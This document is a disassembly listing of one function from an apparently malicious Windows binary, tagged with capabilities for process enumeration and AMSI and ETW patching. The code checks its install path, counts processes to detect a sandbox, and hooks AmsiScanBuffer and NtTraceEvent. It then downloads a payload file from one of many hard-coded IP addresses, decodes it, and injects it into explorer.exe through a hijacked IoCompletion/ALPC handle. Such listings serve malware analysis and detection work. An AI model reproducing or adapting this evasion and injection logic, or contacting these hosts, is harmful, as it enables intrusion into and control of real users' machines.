Function at 0x140078ee0
Capabilities:
Enumerate processes
Patch antimalware scan interface function
Patch event tracing for windows function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x650]
sub rsp, 0x750
mov rax, qword [0x1400f3e08]
xor rax, rsp
mov qword [rbp + 0x640], rax
xor r15d, r15d
mov r8d, 0x104
lea rdx, [rbp + 0x430]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
lea rax, [rbp + 0x430]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], r15w
jne 0x140078f50
lea rdx, [rbp + 0x430]
lea rcx, [rbp]
call fcn.14006d1e0
nop
lea rdi, [rbp]
mov r8, qword [rbp]
cmp qword [rbp + 0x18], 8
cmovae rdi, r8
lea rcx, [rbp]
cmovae rcx, r8
mov rax, qword [rbp + 0x10]
lea rsi, [rcx + rax*2]
lea rbx, [rbp]
cmovae rbx, r8
cmp rbx, rsi
je 0x140078fb5
sub rdi, rbx
nop dword [rax]
movzx ecx, word [rbx]
call fcn.140089134
mov word [rdi + rbx], ax
add rbx, 2
cmp rbx, rsi
jne 0x140078fa0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rax
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x50], xmm1
lea r8d, [rax + 0x10]
lea rdx, str.c:userspublic_
lea rcx, [rsp + 0x40]
call fcn.14006d1e0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x70], xmm1
mov r8d, 0x1a
lea rdx, str.microsoftwindows_themes_
lea rcx, [rsp + 0x60]
call fcn.14006d1e0
nop
lea rax, [rsp + 0x40]
mov qword [rbp - 0x60], rax
lea rax, [rbp - 0x80]
mov qword [rbp - 0x58], rax
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x20]
call fcn.14006f0e0
nop
lea r9, [0x14006f960]
mov edx, 0x20
lea r8d, [rdx - 0x1e]
lea rcx, [rsp + 0x40]
call fcn.14007f02c
mov rdi, qword [rbp + 0x20]
mov r12d, 1
mov r13, qword [rbp + 0x28]
cmp rdi, r13
je 0x140079137
mov r15, qword [rbp + 0x10]
nop dword [rax + rax]
mov r11, qword [rdi + 0x10]
mov rbx, rdi
cmp qword [rdi + 0x18], 8
jb 0x140079081
mov rbx, qword [rdi]
lea rsi, [rbp]
cmp qword [rbp + 0x18], 8
cmovae rsi, qword [rbp]
cmp r11, r15
ja 0x140079127
mov rax, r15
sub rax, r11
test r11, r11
je 0x1400793a7
inc rax
lea r14, [rsi + rax*2]
mov rax, rsi
movzx r10d, word [rbx]
nop word [rax + rax]
mov rcx, r14
sub rcx, rax
sar rcx, 1
mov edx, 0
je 0x1400790eb
cmp word [rax], r10w
je 0x1400790e8
cmp rcx, r12
je 0x1400790eb
dec rcx
add rax, 2
cmp word [rax], r10w
jne 0x1400790d6
mov rdx, rax
mov rax, rdx
test rdx, rdx
je 0x140079127
mov r8, r11
mov rdx, rbx
test r11, r11
je 0x140079117
mov r9, rax
sub r9, rbx
movzx ecx, word [r9 + rdx]
cmp cx, word [rdx]
jne 0x140079152
add rdx, 2
sub r8, r12
jne 0x140079104
sub rax, rsi
sar rax, 1
cmp rax, 0xffffffffffffffff
jne 0x1400793a7
add rdi, 0x20
cmp rdi, r13
jne 0x140079070
xor r15d, r15d
mov ecx, 8
call fcn.14007f0fc
test rax, rax
je 0x14007915b
lea rcx, [0x1400782d0]
mov qword [rax], rcx
jmp 0x14007915e
add rax, 2
jmp 0x1400790c0
mov rax, r15
mov qword [rbp - 0x70], rax
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x14006db20]
xor edx, edx
xor ecx, ecx
call fcn.14008b3d8
mov qword [rbp - 0x20], rax
test rax, rax
je 0x14007a2b4
lea rcx, [rbp - 0x70]
call fcn.140077a00
movabs r8, 0x7fffffffc46535ff
mov rax, qword [rbp - 0x70]
cmp rax, r8
je 0x1400791c3
mov ecx, r12d
mov edx, 0xff
cmovl ecx, edx
test cl, cl
jns 0x1400791c3
add rax, 0x3b9aca00
jmp 0x1400791cd
movabs rax, 0x7fffffffffffffff
mov qword [rbp - 0x70], rax
lea rcx, [rbp - 0x70]
call fcn.14006e590
lea rdx, str.Microsoft_Office
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov rbx, rax
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetElement
call fcn.14007f0fc
test rax, rax
je 0x140079212
mov dword [rax], 3
mov qword [rax + 8], rbx
lea rcx, [0x1400783f0]
mov qword [rax + 0x10], rcx
jmp 0x140079215
mov rax, r15
mov qword [rbp - 0x70], rax
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x14006dae0]
xor edx, edx
xor ecx, ecx
call fcn.14008b3d8
mov qword [rbp - 0x60], rax
test rax, rax
je 0x14007a29f
mov dword [rbp - 0x80], r15d
mov ecx, 8
call fcn.14007f0fc
test rax, rax
je 0x140079263
lea rcx, [rbp - 0x80]
mov qword [rax], rcx
jmp 0x140079266
mov rax, r15
mov qword [rbp - 0x70], rax
lea rcx, [rbp - 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x14006db50]
xor edx, edx
xor ecx, ecx
call fcn.14008b3d8
mov qword [rbp - 0x10], rax
test rax, rax
je 0x14007a309
mov eax, dword [rbp - 0x18]
test eax, eax
setne cl
test eax, eax
je 0x1400792e6
test cl, cl
je 0x14007a2c3
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp - 0x18], eax
je 0x14007a2cc
movaps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x70], xmm0
xor edx, edx
lea rcx, [rbp - 0x70]
call fcn.14007ac5c
test eax, eax
jne 0x14007a2d7
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
psrldq xmm0, 8
movd eax, xmm0
mov ecx, dword [rbp - 8]
test ecx, ecx
setne dl
test ecx, ecx
je 0x140079337
test dl, dl
je 0x14007a2c3
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp - 8], eax
je 0x14007a2cc
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x70], xmm0
xor edx, edx
lea rcx, [rbp - 0x70]
call fcn.14007ac5c
test eax, eax
jne 0x14007a2d7
xorps xmm0, xmm0
movaps xmmword [rbp - 0x10], xmm0
mov eax, dword [rbp - 0x18]
psrldq xmm0, 8
movd ecx, xmm0
mov edx, dword [rbp - 0x58]
test edx, edx
setne r8b
test edx, edx
je 0x14007938d
test r8b, r8b
je 0x14007a2c3
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp - 0x58], eax
je 0x14007a2cc
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x70], xmm0
xor edx, edx
lea rcx, [rbp - 0x70]
call fcn.14007ac5c
test eax, eax
jne 0x14007a2d7
xorps xmm0, xmm0
movaps xmmword [rbp - 0x60], xmm0
mov eax, dword [rbp - 0x18]
psrldq xmm0, 8
movd edx, xmm0
mov ecx, dword [rbp - 8]
test ecx, ecx
jne 0x14007a2e2
test edx, edx
jne 0x14007a2e8
test eax, eax
jne 0x14007a2ae
jmp 0x1400793aa
xor r15d, r15d
lea rax, str.program_na
mov qword [rbp - 0x60], rax
lea rax, [0x1400c1204]
mov qword [rbp - 0x58], rax
lea rdx, [rbp - 0x60]
mov ecx, 2
call fcn.140071e50
test al, al
je 0x14007a1c1
mov rax, qword [0x1400f3c80]
cmp qword [0x1400f3c78], rax
je 0x14007a1c1
lea rdx, [0x1400c25d8]
mov ecx, pe_nt_image_headers64
call fcn.14007f488
mov rbx, rax
test rax, rax
je 0x1400794d5
mov qword [rax + 0xf8], r15
mov dword [rax + 0x100], 0x8007139f
lea rax, [0x140004870]
mov qword [rbx + 0x108], rax
lea rdx, [rbx + 0xf8]
mov ecx, 2
call fcn.1400042f0
mov dword [rbx + 0x100], eax
test eax, eax
js 0x1400794d3
mov rax, qword [rbx + 0xf8]
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rbx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rbx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rbx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rbx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rbx + 0x60], xmm0
lea rcx, [rbx + 0x80]
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm0
sub rax, 0xffffffffffffff80
movups xmm1, xmmword [rax]
movups xmmword [rcx], xmm1
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm0
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm1
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm0
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm1
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm0
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm1
mov rax, qword [rax + 0x70]
mov qword [rcx + 0x70], rax
jmp 0x1400794d8
mov rbx, r15
mov qword [0x1400f5538], rbx
mov edx, dword [rbx + 0x100]
test edx, edx
jns 0x1400794fa
lea rcx, str.MsQuicApi_failed__0x_x_n
call fcn.140068720
jmp 0x14007a1c1
call fcn.1400725e0
cmp byte [0x1400f3c70], 0
jne 0x140079528
lea rcx, str.Success
lea rdx, str.Failure
test al, al
cmovne rdx, rcx
lea rcx, [0x1400c1230]
call fcn.140068720
mov rbx, qword [0x1400f5538]
test rbx, rbx
je 0x140079576
cmp dword [rbx + 0x100], 0
jl 0x140079569
mov rcx, qword [rbx + 0xf8]
mov rax, qword [rbx + 0x108]
call qword [case.0x1400639e1.0]
mov qword [rbx + 0xf8], r15
xor edx, edx
mov r8d, 0xf8
mov rcx, rbx
call fcn.1400819f0
nop
mov edx, pe_nt_image_headers64
mov rcx, rbx
call fcn.14007f138
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400795df
mov dword [rbp + 0xb0], 0x130
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0xb4]
call fcn.1400819f0
mov ebx, r15d
lea rdx, [rbp + 0xb0]
mov rcx, rdi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14007a2ee
inc ebx
lea rdx, [rbp + 0xb0]
mov rcx, rdi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1400795c1
cmp ebx, 0x14
jle 0x14007a2ee
call fcn.140072cf0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
movsxd rcx, dword [rax + 0x3c]
mov edi, dword [rcx + rax + 0x90]
add rdi, 0xc
add rdi, rax
mov ecx, dword [rdi]
test ecx, ecx
je 0x1400796ab
lea r14, [fcn.140071450]
nop dword [rax]
nop word [rax + rax]
add rcx, rsi
lea rdx, [0x1400da098]
call fcn.14008972c
test eax, eax
jne 0x14007969d
mov ebx, dword [rdi + 4]
add rbx, rsi
cmp qword [rbx], 0
je 0x14007969d
nop
lea rcx, [0x1400da098]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtTraceEvent
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [rbx], rax
je 0x14007966e
add rbx, 8
cmp qword [rbx], 0
jne 0x140079640
jmp 0x14007969d
lea r9, [rbp - 0x80]
mov edx, 8
lea r8d, [rdx + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rbx], r14
lea r9, [rbp - 0x80]
mov r8d, dword [rbp - 0x80]
mov edx, 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rdi, 0x14
mov ecx, dword [rdi]
test ecx, ecx
jne 0x140079620
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
movsxd rcx, dword [rax + 0x3c]
mov edi, dword [rcx + rax + 0x90]
add rdi, 0xc
add rdi, rax
mov ecx, dword [rdi]
test ecx, ecx
je 0x14007976b
lea r14, [0x140071440]
nop dword [rax]
add rcx, rsi
lea rdx, str.amsi.dll
call fcn.14008972c
test eax, eax
jne 0x14007975d
mov ebx, dword [rdi + 4]
add rbx, rsi
cmp qword [rbx], 0
je 0x14007975d
nop
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.AmsiScanBuffer
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [rbx], rax
je 0x14007972e
add rbx, 8
cmp qword [rbx], 0
jne 0x140079700
jmp 0x14007975d
lea r9, [rbp - 0x80]
mov edx, 8
lea r8d, [rdx + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rbx], r14
lea r9, [rbp - 0x80]
mov r8d, dword [rbp - 0x80]
mov edx, 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rdi, 0x14
mov ecx, dword [rdi]
test ecx, ecx
jne 0x1400796e0
lea rcx, str.Start_sleeping..._n
call fcn.140068720
lea rcx, str.Woke_up__n
call fcn.140068720
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rax
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
lea r8d, [rax + 0xf]
lea rdx, str.150.139.230.223
lea rcx, [rbp + 0xb0]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm1
mov r8d, recv
lea rdx, str.49.7.69.195
lea rcx, [rbp + 0xd0]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x100], xmm1
mov r8d, recv
lea rdx, str.61.170.88.242
lea rcx, [rbp + 0xf0]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x120], xmm1
mov r8d, recv
lea rdx, str.113.240.92.82
lea rcx, [rbp + 0x110]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x140], xmm1
mov r8d, recv
lea rdx, str.42.202.170.9
lea rcx, [rbp + 0x130]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x160], xmm1
mov r8d, SafeArrayLock
lea rdx, str.118.123.167.212
lea rcx, [rbp + 0x150]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x180], xmm1
mov r8d, recv
lea rdx, str.124.225.79.103
lea rcx, [rbp + 0x170]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1a0], xmm1
mov r8d, recv
lea rdx, str.117.34.18.102
lea rcx, [rbp + 0x190]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1c0], xmm1
mov r8d, recv
lea rdx, str.58.215.114.233
lea rcx, [rbp + 0x1b0]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1e0], xmm1
mov r8d, recv
lea rdx, str.42.81.86.62
lea rcx, [rbp + 0x1d0]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x200], xmm1
mov r8d, recv
lea rdx, str.58.215.114.59
lea rcx, [rbp + 0x1f0]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], SafeArrayLock
mov qword [rbp + 0x228], SafeArrayGetElement
movsd xmm0, qword [str.125.74.108.94]
movsd qword [rbp + 0x210], xmm0
mov eax, dword [0x1400c1318]
mov dword [rbp + 0x218], eax
movzx eax, byte [0x1400c131c]
mov byte [rbp + 0x21c], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], SafeArrayGetElement
mov qword [rbp + 0x248], SafeArrayGetElement
movsd xmm0, qword [str.123.161.58.100]
movsd qword [rbp + 0x230], xmm0
mov eax, dword [0x1400c1328]
mov dword [rbp + 0x238], eax
movzx eax, word [0x1400c132c]
mov word [rbp + 0x23c], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], SafeArrayLock
mov qword [rbp + 0x268], SafeArrayGetElement
movsd xmm0, qword [str.42.81.215.200]
movsd qword [rbp + 0x250], xmm0
mov eax, dword [0x1400c1338]
mov dword [rbp + 0x258], eax
movzx eax, byte [0x1400c133c]
mov byte [rbp + 0x25c], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], SafeArrayGetElement
mov qword [rbp + 0x288], SafeArrayGetElement
movsd xmm0, qword [str.106.127.135.214]
movsd qword [rbp + 0x270], xmm0
mov eax, dword [0x1400c1348]
mov dword [rbp + 0x278], eax
movzx eax, word [0x1400c134c]
mov word [rbp + 0x27c], ax
movzx eax, byte [0x1400c134e]
mov byte [rbp + 0x27e], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a0], SafeArrayGetElement
mov qword [rbp + 0x2a8], SafeArrayGetElement
movsd xmm0, qword [str.111.123.250.121]
movsd qword [rbp + 0x290], xmm0
mov eax, dword [0x1400c1358]
mov dword [rbp + 0x298], eax
movzx eax, word [0x1400c135c]
mov word [rbp + 0x29c], ax
movzx eax, byte [0x1400c135e]
mov byte [rbp + 0x29e], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], SafeArrayLock
mov qword [rbp + 0x2c8], SafeArrayGetElement
movsd xmm0, qword [str.60.188.68.175]
movsd qword [rbp + 0x2b0], xmm0
mov eax, dword [0x1400c1368]
mov dword [rbp + 0x2b8], eax
movzx eax, byte [0x1400c136c]
mov byte [rbp + 0x2bc], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], SafeArrayGetElement
mov qword [rbp + 0x2e8], SafeArrayGetElement
movsd xmm0, qword [str.42.202.164.131]
movsd qword [rbp + 0x2d0], xmm0
mov eax, dword [0x1400c1378]
mov dword [rbp + 0x2d8], eax
movzx eax, word [0x1400c137c]
mov word [rbp + 0x2dc], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], SafeArrayGetElement
mov qword [rbp + 0x308], SafeArrayGetElement
movsd xmm0, qword [str.182.242.216.243]
movsd qword [rbp + 0x2f0], xmm0
mov eax, dword [0x1400c1388]
mov dword [rbp + 0x2f8], eax
movzx eax, word [0x1400c138c]
mov word [rbp + 0x2fc], ax
movzx eax, byte [0x1400c138e]
mov byte [rbp + 0x2fe], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov qword [rbp + 0x320], SafeArrayLock
mov qword [rbp + 0x328], SafeArrayGetElement
movsd xmm0, qword [str.124.225.14.89]
movsd qword [rbp + 0x310], xmm0
mov eax, dword [0x1400c1398]
mov dword [rbp + 0x318], eax
movzx eax, byte [0x1400c139c]
mov byte [rbp + 0x31c], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], SafeArrayGetElement
mov qword [rbp + 0x348], SafeArrayGetElement
movsd xmm0, qword [str.111.123.250.73]
movsd qword [rbp + 0x330], xmm0
mov eax, dword [0x1400c13a8]
mov dword [rbp + 0x338], eax
movzx eax, word [0x1400c13ac]
mov word [rbp + 0x33c], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], SafeArrayGetElement
mov qword [rbp + 0x368], SafeArrayGetElement
movsd xmm0, qword [str.124.225.14.210]
movsd qword [rbp + 0x350], xmm0
mov eax, dword [0x1400c13b8]
mov dword [rbp + 0x358], eax
movzx eax, word [0x1400c13bc]
mov word [rbp + 0x35c], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], SafeArrayGetElement
mov qword [rbp + 0x388], SafeArrayGetElement
movsd xmm0, qword [str.219.153.187.135]
movsd qword [rbp + 0x370], xmm0
mov eax, dword [0x1400c13c8]
mov dword [rbp + 0x378], eax
movzx eax, word [0x1400c13cc]
mov word [rbp + 0x37c], ax
movzx eax, byte [0x1400c13ce]
mov byte [rbp + 0x37e], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3a0], xmm1
mov r8d, SafeArrayLock
lea rdx, str.221.227.232.106
lea rcx, [rbp + 0x390]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3c0], xmm1
mov r8d, recv
lea rdx, str.60.188.68.249
lea rcx, [rbp + 0x3b0]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3e0], xmm1
mov r8d, recv
lea rdx, str.117.34.18.87
lea rcx, [rbp + 0x3d0]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x400], xmm1
mov r8d, SafeArrayLock
lea rdx, str.106.225.221.119
lea rcx, [rbp + 0x3f0]
call fcn.14006d120
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x410], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x420], xmm1
mov r8d, recv
lea rdx, str.61.170.44.194
lea rcx, [rbp + 0x410]
call fcn.14006d120
nop
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r15
mov ecx, 0x380
call fcn.14006d080
mov rbx, rax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
lea rcx, [rax + 0x380]
mov qword [rbp - 0x30], rcx
lea rax, [rbp - 0x40]
mov qword [rbp - 0x70], rax
lea rdi, [rbp + 0xb0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
lea rax, [rbp - 0x40]
mov qword [rbp - 0x50], rax
mov rdx, rdi
mov rcx, rbx
call fcn.14006ec90
add rbx, 0x20
mov qword [rbp - 0x58], rbx
add rdi, 0x20
lea rax, [rbp + 0x430]
cmp rdi, rax
jne 0x140079e75
lea r8, [rbp - 0x40]
mov rdx, rbx
mov rcx, rbx
call fcn.14006d290
mov qword [rbp - 0x38], rbx
lea r9, [fcn.14006f900]
mov edx, 0x20
lea r8d, [rdx - 4]
lea rcx, [rbp + 0xb0]
call fcn.14007f02c
xor ecx, ecx
call fcn.14008b1f8
mov rcx, rax
call fcn.140089b58
mov rbx, qword [rbp - 0x38]
sub rbx, qword [rbp - 0x40]
sar rbx, 5
call fcn.140089b2c
cdqe
xor edx, edx
div rbx
movsxd rdx, edx
shl rdx, 5
add rdx, qword [rbp - 0x40]
lea rcx, [rbp + 0x68]
call fcn.14006ec90
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
mov r8d, recv
lea rdx, str._idculat.dat
lea rcx, [rbp - 0x60]
call fcn.14006d120
nop
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
mov qword [rbp + 0x60], r15
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rdx, qword [rbp - 0x60]
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rcx, qword [rbp + 0x68]
mov r9d, 0x50
lea r8, [rbp + 0x50]
call fcn.140076500
test al, al
jne 0x140079fa6
lea rdx, str.Failed_to_download_file.
lea rcx, [0x1400f5d80]
call fcn.14006cab0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.1400784b0
movzx edx, al
mov rcx, rbx
call fcn.140077ca0
mov rcx, rbx
call fcn.140076ef0
jmp 0x14007a128
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
mov r8d, 9
lea rdx, str.Kaspersky
lea rcx, [rbp + 0x88]
call fcn.14006d120
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rax
mov r9b, 0x55
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x38]
call fcn.140074f60
nop
mov r14, qword [rbp + 0x38]
mov rsi, qword [rbp + 0x40]
sub rsi, r14
mov qword [rbp - 0x70], r15
lea rcx, [0x1400d50ac]
call fcn.140070fd0
cmp eax, 0xffffffff
jne 0x14007a02b
lea rcx, str.Error:_Could_not_find_explorer.exe_process._n
call fcn.140068720
jmp 0x14007a0ed
mov r8d, eax
xor edx, edx
mov ecx, 0x478
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14007a05c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error:_Could_not_open_target_process._Error_code:__lu_n
call fcn.140068720
jmp 0x14007a0ed
mov r8d, 0x1f0003
lea rdx, str.IoCompletion
mov rcx, rbx
call fcn.1400772a0
mov rdi, rax
test rax, rax
jne 0x14007a08f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error:_Could_not_hijack_process_handle._Error_code:__lu_n
call fcn.140068720
jmp 0x14007a0e4
lea r9, [rbp - 0x70]
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call fcn.140078700
test al, al
jne 0x14007a0b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error:_Could_not_write_payload_into_target_process._Error_code:__lu_n
jmp 0x14007a0d4
mov r8, rdi
mov rdx, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140071460
test al, al
jne 0x14007a0db
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error:_Could_not_inject_via_ALPC._Error_code:__lu_n
mov edx, eax
call fcn.140068720
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov r12d, r15d
mov rdx, qword [rbp + 0x38]
test rdx, rdx
je 0x14007a11b
mov r8, qword [rbp + 0x48]
sub r8, rdx
lea rcx, [rbp + 0x38]
call fcn.140074ed0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], r15
lea rcx, [rbp + 0x88]
call fcn.14006f900
nop
mov rcx, qword [rbp + 0x50]
test rcx, rcx
je 0x14007a16e
mov rdx, qword [rbp + 0x60]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007a15d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007a2f7
call fcn.14007f138
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r15
mov r8, qword [rbp - 0x48]
cmp r8, 0x10
jb 0x14007a189
inc r8
mov rdx, qword [rbp - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140074ed0
nop
mov r8, qword [rbp + 0x80]
cmp r8, 0x10
jb 0x14007a1a6
inc r8
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x68]
call fcn.140074ed0
movdqa xmm0, xmmword [0x1400c1560]
movdqu xmmword [rbp + 0x78], xmm0
mov byte [rbp + 0x68], 0
lea rcx, [rbp - 0x40]
call fcn.1400749c0
nop
mov rbx, qword [rbp + 0x20]
test rbx, rbx
je 0x14007a22c
mov rdi, qword [rbp + 0x28]
cmp rbx, rdi
je 0x14007a1e8
